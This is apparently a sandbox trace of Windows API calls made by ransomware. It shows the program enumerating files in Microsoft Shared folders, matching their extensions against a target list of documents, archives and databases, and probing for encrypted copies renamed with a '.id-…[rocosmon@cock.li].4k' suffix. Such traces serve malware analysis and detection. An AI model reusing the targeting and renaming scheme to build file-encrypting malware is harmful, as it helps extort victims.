	[0101.307] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0101.307] lstrlenW (lpString=".xls") returned 4
	[0101.307] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0101.307] lstrlenW (lpString=".xlsx") returned 5
	[0101.307] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1
	[0101.307] lstrlenW (lpString=".ppt") returned 4
	[0101.307] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0101.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77
	[0101.307] lstrlenW (lpString=".zip") returned 4
	[0101.307] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0101.307] lstrlenW (lpString=".rar") returned 4
	[0101.307] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0101.307] lstrlenW (lpString=".bz2") returned 4
	[0101.307] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0101.307] lstrlenW (lpString=".7z") returned 3
	[0101.307] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0101.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77
	[0101.307] lstrlenW (lpString=".dbf") returned 4
	[0101.307] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0101.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77
	[0101.307] lstrlenW (lpString=".1cd") returned 4
	[0101.308] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0101.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77
	[0101.308] lstrlenW (lpString=".jpg") returned 4
	[0101.308] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0101.394] lstrcmpiW (lpString1=".emf", lpString2=".4k") returned 1
	[0101.394] lstrlenW (lpString="Graph.emf") returned 9
	[0101.394] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0101.540] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=116724) returned 1
	[0101.540] CloseHandle (hObject=0x1f0) returned 1
	[0101.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf")) returned 0x20
	[0101.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0101.540] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0101.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67
	[0101.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67
	[0101.540] lstrlenW (lpString=".doc") returned 4
	[0101.540] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1
	[0101.540] lstrlenW (lpString=".docx") returned 5
	[0101.540] lstrcmpiW (lpString1=".docx", lpString2="h.emf") returned -1
	[0101.540] lstrlenW (lpString=".pdf") returned 4
	[0101.540] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1
	[0101.540] lstrlenW (lpString=".xls") returned 4
	[0101.540] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1
	[0101.540] lstrlenW (lpString=".xlsx") returned 5
	[0101.540] lstrcmpiW (lpString1=".xlsx", lpString2="h.emf") returned -1
	[0101.540] lstrlenW (lpString=".ppt") returned 4
	[0101.540] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1
	[0101.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67
	[0101.541] lstrlenW (lpString=".zip") returned 4
	[0101.541] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1
	[0101.541] lstrlenW (lpString=".rar") returned 4
	[0101.541] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1
	[0101.541] lstrlenW (lpString=".bz2") returned 4
	[0101.541] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1
	[0101.541] lstrlenW (lpString=".7z") returned 3
	[0101.541] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1
	[0101.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67
	[0101.541] lstrlenW (lpString=".dbf") returned 4
	[0101.541] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1
	[0101.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67
	[0101.541] lstrlenW (lpString=".1cd") returned 4
	[0101.541] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1
	[0101.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67
	[0101.541] lstrlenW (lpString=".jpg") returned 4
	[0101.541] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1
	[0101.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67
	[0101.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67
	[0101.541] lstrlenW (lpString=".doc") returned 4
	[0101.541] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1
	[0101.541] lstrlenW (lpString=".docx") returned 5
	[0101.541] lstrcmpiW (lpString1=".docx", lpString2="h.emf") returned -1
	[0101.541] lstrlenW (lpString=".pdf") returned 4
	[0101.541] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1
	[0101.541] lstrlenW (lpString=".xls") returned 4
	[0101.541] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1
	[0101.541] lstrlenW (lpString=".xlsx") returned 5
	[0101.541] lstrcmpiW (lpString1=".xlsx", lpString2="h.emf") returned -1
	[0101.541] lstrlenW (lpString=".ppt") returned 4
	[0101.542] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1
	[0101.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67
	[0101.542] lstrlenW (lpString=".zip") returned 4
	[0101.542] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1
	[0101.542] lstrlenW (lpString=".rar") returned 4
	[0101.542] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1
	[0101.542] lstrlenW (lpString=".bz2") returned 4
	[0101.542] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1
	[0101.542] lstrlenW (lpString=".7z") returned 3
	[0101.542] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1
	[0101.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67
	[0101.542] lstrlenW (lpString=".dbf") returned 4
	[0101.542] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1
	[0101.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67
	[0101.542] lstrlenW (lpString=".1cd") returned 4
	[0101.542] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1
	[0101.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67
	[0101.542] lstrlenW (lpString=".jpg") returned 4
	[0101.542] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1
	[0101.568] lstrcmpiW (lpString1=".wmf", lpString2=".4k") returned 1
	[0101.568] lstrlenW (lpString="grid_(cm).wmf") returned 13
	[0101.568] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0101.569] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=2920) returned 1
	[0101.569] CloseHandle (hObject=0x1d8) returned 1
	[0101.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf")) returned 0x20
	[0101.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0101.569] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0101.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71
	[0101.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71
	[0101.569] lstrlenW (lpString=".doc") returned 4
	[0101.569] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1
	[0101.569] lstrlenW (lpString=".docx") returned 5
	[0101.569] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1
	[0101.569] lstrlenW (lpString=".pdf") returned 4
	[0101.569] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1
	[0101.569] lstrlenW (lpString=".xls") returned 4
	[0101.569] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1
	[0101.570] lstrlenW (lpString=".xlsx") returned 5
	[0101.570] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1
	[0101.570] lstrlenW (lpString=".ppt") returned 4
	[0101.570] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1
	[0101.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71
	[0101.570] lstrlenW (lpString=".zip") returned 4
	[0101.570] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1
	[0101.570] lstrlenW (lpString=".rar") returned 4
	[0101.570] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1
	[0101.570] lstrlenW (lpString=".bz2") returned 4
	[0101.570] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1
	[0101.570] lstrlenW (lpString=".7z") returned 3
	[0101.570] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1
	[0101.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71
	[0101.570] lstrlenW (lpString=".dbf") returned 4
	[0101.570] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1
	[0101.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71
	[0101.570] lstrlenW (lpString=".1cd") returned 4
	[0101.570] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1
	[0101.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71
	[0101.570] lstrlenW (lpString=".jpg") returned 4
	[0101.570] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1
	[0101.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71
	[0101.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71
	[0101.570] lstrlenW (lpString=".doc") returned 4
	[0101.570] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1
	[0101.570] lstrlenW (lpString=".docx") returned 5
	[0101.571] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1
	[0101.571] lstrlenW (lpString=".pdf") returned 4
	[0101.571] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1
	[0101.571] lstrlenW (lpString=".xls") returned 4
	[0101.571] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1
	[0101.571] lstrlenW (lpString=".xlsx") returned 5
	[0101.571] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1
	[0101.571] lstrlenW (lpString=".ppt") returned 4
	[0101.571] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1
	[0101.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71
	[0101.571] lstrlenW (lpString=".zip") returned 4
	[0101.571] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1
	[0101.571] lstrlenW (lpString=".rar") returned 4
	[0101.571] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1
	[0101.571] lstrlenW (lpString=".bz2") returned 4
	[0101.571] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1
	[0101.571] lstrlenW (lpString=".7z") returned 3
	[0101.571] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1
	[0101.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71
	[0101.571] lstrlenW (lpString=".dbf") returned 4
	[0101.571] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1
	[0101.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71
	[0101.571] lstrlenW (lpString=".1cd") returned 4
	[0101.571] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1
	[0101.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71
	[0101.571] lstrlenW (lpString=".jpg") returned 4
	[0101.572] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1
	[0101.572] lstrcmpiW (lpString1=".wmf", lpString2=".4k") returned 1
	[0101.572] lstrlenW (lpString="grid_(inch).wmf") returned 15
	[0101.572] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0101.572] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=7498) returned 1
	[0101.573] CloseHandle (hObject=0x1d8) returned 1
	[0101.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf")) returned 0x20
	[0101.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0101.573] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0101.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73
	[0101.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73
	[0101.573] lstrlenW (lpString=".doc") returned 4
	[0101.573] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1
	[0101.573] lstrlenW (lpString=".docx") returned 5
	[0101.573] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1
	[0101.573] lstrlenW (lpString=".pdf") returned 4
	[0101.573] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1
	[0101.573] lstrlenW (lpString=".xls") returned 4
	[0101.573] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1
	[0101.573] lstrlenW (lpString=".xlsx") returned 5
	[0101.573] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1
	[0101.573] lstrlenW (lpString=".ppt") returned 4
	[0101.573] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1
	[0101.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73
	[0101.573] lstrlenW (lpString=".zip") returned 4
	[0101.574] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1
	[0101.574] lstrlenW (lpString=".rar") returned 4
	[0101.574] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1
	[0101.574] lstrlenW (lpString=".bz2") returned 4
	[0101.574] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1
	[0101.574] lstrlenW (lpString=".7z") returned 3
	[0101.574] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1
	[0101.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73
	[0101.574] lstrlenW (lpString=".dbf") returned 4
	[0101.574] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1
	[0101.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73
	[0101.574] lstrlenW (lpString=".1cd") returned 4
	[0101.574] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1
	[0101.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73
	[0101.574] lstrlenW (lpString=".jpg") returned 4
	[0101.574] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1
	[0101.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73
	[0101.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73
	[0101.574] lstrlenW (lpString=".doc") returned 4
	[0101.574] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1
	[0101.574] lstrlenW (lpString=".docx") returned 5
	[0101.574] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1
	[0101.574] lstrlenW (lpString=".pdf") returned 4
	[0101.574] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1
	[0101.574] lstrlenW (lpString=".xls") returned 4
	[0101.574] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1
	[0101.575] lstrlenW (lpString=".xlsx") returned 5
	[0101.575] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1
	[0101.575] lstrlenW (lpString=".ppt") returned 4
	[0101.575] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1
	[0101.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73
	[0101.575] lstrlenW (lpString=".zip") returned 4
	[0101.575] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1
	[0101.575] lstrlenW (lpString=".rar") returned 4
	[0101.575] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1
	[0101.575] lstrlenW (lpString=".bz2") returned 4
	[0101.575] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1
	[0101.575] lstrlenW (lpString=".7z") returned 3
	[0101.575] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1
	[0101.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73
	[0101.575] lstrlenW (lpString=".dbf") returned 4
	[0101.575] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1
	[0101.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73
	[0101.575] lstrlenW (lpString=".1cd") returned 4
	[0101.575] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1
	[0101.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73
	[0101.575] lstrlenW (lpString=".jpg") returned 4
	[0101.575] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1
	[0101.576] lstrcmpiW (lpString1=".htm", lpString2=".4k") returned 1
	[0101.576] lstrlenW (lpString="Hand Prints.htm") returned 15
	[0101.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0101.577] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=235) returned 1
	[0101.577] CloseHandle (hObject=0x1d8) returned 1
	[0101.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20
	[0101.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0101.577] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0101.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73
	[0101.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73
	[0101.577] lstrlenW (lpString=".doc") returned 4
	[0101.577] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0101.577] lstrlenW (lpString=".docx") returned 5
	[0101.577] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1
	[0101.577] lstrlenW (lpString=".pdf") returned 4
	[0101.578] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0101.578] lstrlenW (lpString=".xls") returned 4
	[0101.578] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0101.578] lstrlenW (lpString=".xlsx") returned 5
	[0101.578] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1
	[0101.578] lstrlenW (lpString=".ppt") returned 4
	[0101.578] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0101.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73
	[0101.578] lstrlenW (lpString=".zip") returned 4
	[0101.578] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0101.578] lstrlenW (lpString=".rar") returned 4
	[0101.578] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0101.578] lstrlenW (lpString=".bz2") returned 4
	[0101.578] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0101.578] lstrlenW (lpString=".7z") returned 3
	[0101.578] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0101.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73
	[0101.578] lstrlenW (lpString=".dbf") returned 4
	[0101.578] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0101.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73
	[0101.578] lstrlenW (lpString=".1cd") returned 4
	[0101.578] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0101.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73
	[0101.578] lstrlenW (lpString=".jpg") returned 4
	[0101.578] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0101.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73
	[0101.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73
	[0101.579] lstrlenW (lpString=".doc") returned 4
	[0101.579] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0101.579] lstrlenW (lpString=".docx") returned 5
	[0101.579] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1
	[0101.579] lstrlenW (lpString=".pdf") returned 4
	[0101.579] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0101.579] lstrlenW (lpString=".xls") returned 4
	[0101.579] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0101.579] lstrlenW (lpString=".xlsx") returned 5
	[0101.579] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1
	[0101.579] lstrlenW (lpString=".ppt") returned 4
	[0101.579] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0101.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73
	[0101.579] lstrlenW (lpString=".zip") returned 4
	[0101.579] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0101.579] lstrlenW (lpString=".rar") returned 4
	[0101.579] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0101.579] lstrlenW (lpString=".bz2") returned 4
	[0101.579] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0101.579] lstrlenW (lpString=".7z") returned 3
	[0101.579] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0101.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73
	[0101.579] lstrlenW (lpString=".dbf") returned 4
	[0101.579] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0101.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73
	[0101.579] lstrlenW (lpString=".1cd") returned 4
	[0101.579] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0101.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73
	[0101.580] lstrlenW (lpString=".jpg") returned 4
	[0101.580] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0101.580] lstrcmpiW (lpString1=".jpg", lpString2=".4k") returned 1
	[0101.580] lstrlenW (lpString="HandPrints.jpg") returned 14
	[0101.580] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0101.580] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=4222) returned 1
	[0101.580] CloseHandle (hObject=0x1d8) returned 1
